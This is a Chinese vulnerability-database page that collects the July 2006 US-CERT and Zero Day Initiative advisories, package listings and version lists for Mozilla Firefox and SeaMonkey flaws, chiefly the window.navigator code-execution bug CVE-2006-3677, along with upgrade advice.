      Size/MD5:   235754 69085beb145222fea07d2d6c19158a2d
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss3_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
      Size/MD5:   768332 8dc6cc8c54185d57af14bab3bee39f9d

  sparc architecture (Sun SPARC/UltraSPARC)

    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dbg_1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5: 45235424 f5a07188af5802fffbd3cfdd64b109cf
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5:  2796756 cb13c7ea0e3b7af2f1e12db1f8dc38a2
    http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/firefox-dom-inspector_1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5:   210488 17f7723b697110c8f132422bc059d447
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-gnome-support_1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5:    76340 c38ccb8b71b9c3783a1c9816ecd9cf5d
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5:  8411310 4b3865b2df3924d094e0b18f207bf33d
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr-dev_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5:   218814 a0e67d0d425cea2cd5835e2c2faa930f
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr4_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5:   149018 73108368f0ef745188ebd1c48ea10c88
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss-dev_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5:   235746 695a6122710fb30201daaa239ba6d48d
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss3_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_sparc.deb
      Size/MD5:   681612 896721beb3cdcea12bab98223c0796c2
    

- 漏洞信息 (F48661)

Technical Cyber Security Alert 2006-208A (PacketStormID:F48661)
2006-07-28 00:00:00
US-CERT  cert.org
advisory,remote,web,arbitrary,vulnerability
CVE-2006-3801,CVE-2006-3677,CVE-2006-3113,CVE-2006-3803,CVE-2006-3805,CVE-2006-3804,CVE-2006-3806,CVE-2006-3807,CVE-2006-3811
[点击下载]

Technical Cyber Security Alert TA06-208A - The Mozilla web browser and derived products contain several vulnerabilities, the most serious of which could allow a remote attacker to execute arbitrary code on an affected system.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

                        National Cyber Alert System

                 Technical Cyber Security Alert TA06-208A


Mozilla Products Contain Multiple Vulnerabilities

   Original release date: July 27, 2006
   Last revised: --
   Source: US-CERT


Systems Affected

     * Mozilla SeaMonkey
     * Mozilla Firefox
     * Mozilla Thunderbird

   Any products based on Mozilla components, specifically Gecko, may also
   be affected.


Overview

   The Mozilla web browser and derived products contain several
   vulnerabilities, the most serious of which could allow a remote
   attacker to execute arbitrary code on an affected system.


I. Description

   Several vulnerabilities have been reported in the Mozilla web browser
   and derived products. More detailed information is available in the
   individual vulnerability notes, including the following:


   VU#476724 - Mozilla products fail to properly handle frame references 

   Mozilla products fail to properly handle frame or window references.
   This may allow a remote attacker to execute arbitrary code on a
   vulnerable system.
   (CVE-2006-3801)


   VU#670060 - Mozilla fails to properly release JavaScript references 

   Mozilla products fail to properly release memory. This vulnerability
   may allow a remote attacker to execute code on a vulnerable system.
   (CVE-2006-3677)


   VU#239124 - Mozilla fails to properly handle simultaneous XPCOM events
   
   Mozilla products are vulnerable to memory corruption via simultaneous
   XPCOM events. This may allow a remote attacker to execute arbitrary
   code on a vulnerable system.
   (CVE-2006-3113)


   VU#265964 - Mozilla products contain a race condition 

   Mozilla products contain a race condition. This vulnerability may
   allow a remote attacker to execute code on a vulnerable system.
   (CVE-2006-3803)


   VU#897540 - Mozilla products VCard attachment buffer overflow 

   Mozilla products fail to properly handle malformed VCard attachments,
   allowing a buffer overflow to occur. This vulnerability may allow a
   remote attacker to execute arbitrary code on a vulnerable system.
   (CVE-2006-3804)


   VU#876420 - Mozilla fails to properly handle garbage collection 

   The Mozilla JavaScript engine fails to properly perform garbage
   collection, which may allow a remote attacker to execute arbitrary
   code on a vulnerable system.
   (CVE-2006-3805)


   VU#655892 - Mozilla JavaScript engine contains multiple integer
   overflows 

   The Mozilla JavaScript engine contains multiple integer overflows.
   This vulnerability may allow a remote attacker to execute arbitrary
   code on a vulnerable system.
   (CVE-2006-3806)


   VU#687396 - Mozilla products fail to properly validate JavaScript
   constructors 

   Mozilla products fail to properly validate references returned by
   JavaScript constructors. This vulnerability may allow a remote
   attacker to execute arbitrary code on a vulnerable system.
   (CVE-2006-3807)


   VU#527676 - Mozilla contains multiple memory corruption
   vulnerabilities 

   Mozilla products contain multiple vulnerabilities that can cause
   memory corruption. This may allow a remote attacker to execute
   arbitrary code on a vulnerable system.
   (CVE-2006-3811)


II. Impact

   A remote, unauthenticated attacker could execute arbitrary code on a
   vulnerable system. An attacker may also be able to cause the
   vulnerable application to crash.


III. Solution

Upgrade

   Upgrade to Mozilla Firefox 1.5.0.5, Mozilla Thunderbird 1.5.0.5, or
   SeaMonkey 1.0.3.

Disable JavaScript and Java

   These vulnerabilities can be mitigated by disabling JavaScript and
   Java in all affected products. Instructions for disabling Java in
   Firefox can be found in the "Securing Your Web Browser" document.


Appendix A. References

     * US-CERT Vulnerability Notes Related to July Mozilla Security
       Advisories -
       <http://www.kb.cert.org/vuls/byid?searchview&query=firefox_1505>

     * CVE-2006-3081 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3801>

     * CVE-2006-3677 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3677>

     * CVE-2006-3113 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3113>

     * CVE-2006-3803 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3803>

     * CVE-2006-3804 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3804>

     * CVE-2006-3805 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3805>

     * CVE-2006-3806 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3806>

     * CVE-2006-3807 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3807>

     * CVE-2006-3811 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3811>

     * Mozilla Foundation Security Advisories -
       <http://www.mozilla.org/security/announce/>

     * Known Vulnerabilities in Mozilla Products -
       <http://www.mozilla.org/projects/security/known-vulnerabilities.html>

     * Securing Your Web Browser -
       <http://www.us-cert.gov/reading_room/securing_browser/browser_security.html#Mozilla_Firefox>


 ____________________________________________________________________

   The most recent version of this document can be found at:

     <http://www.us-cert.gov/cas/techalerts/TA06-208A.html>
 ____________________________________________________________________

   Feedback can be directed to US-CERT Technical Staff. Please send
   email to <cert@cert.org> with "TA06-208A Feedback VU#239124" in the
   subject.
 ____________________________________________________________________

   For instructions on subscribing to or unsubscribing from this
   mailing list, visit <http://www.us-cert.gov/cas/signup.html>.
 ____________________________________________________________________

   Produced 2006 by US-CERT, a government organization.

   Terms of use:

     <http://www.us-cert.gov/legal.html>
 ____________________________________________________________________


Revision History

   Jul 27, 2006: Initial release


    
    

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iQEVAwUBRMkgNexOF3G+ig+rAQIFsAgAoWoMkxxhkzb+xgLVCJF7h4k4EBCgJGWa
BSOiFfL4Gs4vv4lNooDRCIOdxiBfXYL71XsIOT4aWry5852/6kyYnyAiXXYj1Uv0
SbPY2sQSZ5EaG+G9i8HDIy3fpJN4XgH3ng1uzUnJihY19IfndbXicpZE+debIUri
qt9NRD2f5FW5feKo1cBpYxtmxQAEePOa2dJHh7I7cnFGtG3MixHx4kVEyuYUutCX
5tHDsfTIdySNkIdCQ4vhk846bErB/kaHiKMQDfMglllb3GOSc07OQ0CDo2eTPVsA
9DtKkiDP1C4dh1mxco8CWlS6327+EB0KXGGoqDF2+j/rrpsW0oc8nA==
=HwuK
-----END PGP SIGNATURE-----
    

- 漏洞信息 (F48641)

Zero Day Initiative Advisory 06-025 (PacketStormID:F48641)
2006-07-28 00:00:00
Tipping Point  zerodayinitiative.com
advisory,arbitrary
CVE-2006-3677
[点击下载]

A vulnerability exists in Firefox versions 1.5.0 through 1.5.0.3 and SeaMonkey versions 1.0 through 1.0.2 that allows attackers to execute arbitrary code on vulnerable installations. User interaction is required to exploit this vulnerability in that the target must visit a malicious page.

ZDI-06-025: Mozilla Firefox Javascript navigator Object Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-06-025.html
July 26, 2006

-- CVE ID:
CVE-2006-3677

-- Affected Vendor:
Mozilla

-- Affected Products:
Firefox 1.5.0 - 1.5.0.4
SeaMonkey 1.0 - 1.0.2

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability since July 26, 2006 by Digital Vaccine protection
filter ID 4326. For further product information on the TippingPoint IPS:

    http://www.tippingpoint.com 

-- Vulnerability Details:
This vulnerability allows attackers to execute arbitrary code on
vulnerable installations of the Mozilla Firefox web browser. User
interaction is required to exploit this vulnerability in that the
target must visit a malicious page.

The flaw exists when assigning specific values to the window.navigator
object. A lack of checking on assignment causes user supplied data to
be later used in the creation of other objects leading to eventual code
execution.

-- Vendor Response:
Mozilla has addressed this issue in the latest versions of the affected
product. More information is detailed in MFSA2006-45:

    http://www.mozilla.org/security/announce/2006/mfsa2006-45.html

-- Disclosure Timeline:
2006.06.16 - Vulnerability reported to vendor
2006.07.25 - Vulnerability information provided to ZDI security partners
2006.07.26 - Digital Vaccine released to TippingPoint customers
2006.07.26 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by an anonymous researcher.

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, a division of 3Com, The Zero Day Initiative
(ZDI) represents a best-of-breed model for rewarding security
researchers for responsibly disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

    http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is used.
3Com does not re-sell the vulnerability details or any exploit code.
Instead, upon notifying the affected product vendor, 3Com provides its
customers with zero day protection through its intrusion prevention
technology. Explicit details regarding the specifics of the
vulnerability are not exposed to any parties until an official vendor
patch is publicly available. Furthermore, with the altruistic aim of
helping to secure a broader user base, 3Com provides this vulnerability
information confidentially to security vendors (including competitors)
who have a vulnerability protection or mitigation product.
    

- 漏洞信息

27559
Mozilla Multiple Products Window Navigator Object Arbitrary Code Execution
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Private, Exploit Commercial Vendor Verified, Vendor Verified, Coordinated Disclosure

- 漏洞描述

A code execution flaw exists in multiple Mozilla browsers. Firefox and SeaMonkey fail to validate values assigned to window.navigator objects. With a specially crafted website, a context-dependent attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2006-07-25 Unknow
Unknow 2006-07-25

- 解决方案

Upgrade Firefox to version 1.5.0.5 or Seamonkey to version 1.0.3, as they have been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Mozilla Firefox Javascript Navigator Object Remote Code Execution Vulnerability
Input Validation Error 19192
Yes No
2006-07-26 12:00:00 2007-09-05 02:11:00
TippingPoint and the Zero Day Initiative is credited with reporting this vulnerability.

- 受影响的程序版本

Ubuntu Ubuntu Linux 5.10 sparc
Ubuntu Ubuntu Linux 5.10 powerpc
Ubuntu Ubuntu Linux 5.10 i386
Ubuntu Ubuntu Linux 5.10 amd64
Ubuntu Ubuntu Linux 6.06 LTS sparc
Ubuntu Ubuntu Linux 6.06 LTS powerpc
Ubuntu Ubuntu Linux 6.06 LTS i386
Ubuntu Ubuntu Linux 6.06 LTS amd64
Slackware Linux 10.2
Slackware Linux -current
rPath rPath Linux 1
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux WS 2.1 IA64
RedHat Enterprise Linux WS 2.1
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux ES 3
RedHat Enterprise Linux ES 2.1 IA64
RedHat Enterprise Linux ES 2.1
RedHat Desktop 4.0
RedHat Desktop 3.0
RedHat Advanced Workstation for the Itanium Processor 2.1 IA64
RedHat Advanced Workstation for the Itanium Processor 2.1
Red Hat Enterprise Linux AS 4
Red Hat Enterprise Linux AS 3
Red Hat Enterprise Linux AS 2.1 IA64
Red Hat Enterprise Linux AS 2.1
Netscape Browser 8.1
Mozilla SeaMonkey 1.0.2
Mozilla SeaMonkey 1.0.1
Mozilla SeaMonkey 1.0 dev
Mozilla SeaMonkey 1.0
Mozilla Firefox 1.5 beta 2
Mozilla Firefox 1.5 beta 1
Mozilla Firefox 1.5
Mozilla Firefox 1.5.0.4
Mozilla Firefox 1.5.0.3
Mozilla Firefox 1.5.0.2
Mozilla Firefox 1.5.0.2
Mozilla Firefox 1.5.0.1
Mozilla Camino 1.0.2
Mozilla Camino 1.0.1
Mozilla Camino 0.8.4
Mozilla Camino 0.8.3
Mozilla Camino 0.8
Mozilla Camino 0.7 .0
Mozilla Camino 1.0
Mandriva Linux Mandrake 2006.0 x86_64
Mandriva Linux Mandrake 2006.0
K-Meleon K-Meleon 1.0
HP HP-UX B.11.31
HP HP-UX B.11.23
HP HP-UX B.11.11
Gentoo Linux
Flock Flock 0.7.3 2
Mozilla SeaMonkey 1.0.3
Mozilla Firefox 1.5.0.5

- 不受影响的程序版本

Mozilla SeaMonkey 1.0.3
Mozilla Firefox 1.5.0.5

- 漏洞讨论

Mozilla Firefox is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input before using it to create new JavaScript objects.

Successful exploits may allow an attacker to crash the application or execute arbitrary machine code in the context of the affected application.

This issue was previously discussed in BID 19181 (Mozilla Multiple Products Remote Vulnerabilities).
It has been assigned a separate BID because new information has become available.

- 漏洞利用

Proof-of-concept exploits are available in the Mozilla Bugzilla database, but they are not currently available to the general public.

H.D. Moore has released an exploit to trigger this issue.

- 解决方案

New versions of Firefox and SeaMonkey are available to address these issues. Most Mozilla applications have self-updating features that may be used to download and install fixes.

Please see the referenced advisories for information on obtaining and applying fixes.


Mozilla Firefox 1.5.0.3

Mozilla Firefox 1.5.0.2

Mozilla SeaMonkey 1.0 dev

Mozilla SeaMonkey 1.0

Mozilla Firefox 1.5.0.4

Mozilla Firefox 1.5.0.1

Mozilla Firefox 1.5.0.2

Mozilla SeaMonkey 1.0.1

Mozilla SeaMonkey 1.0.2

Mozilla Firefox 1.5 beta 2

Mozilla Firefox 1.5

Mozilla Firefox 1.5 beta 1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站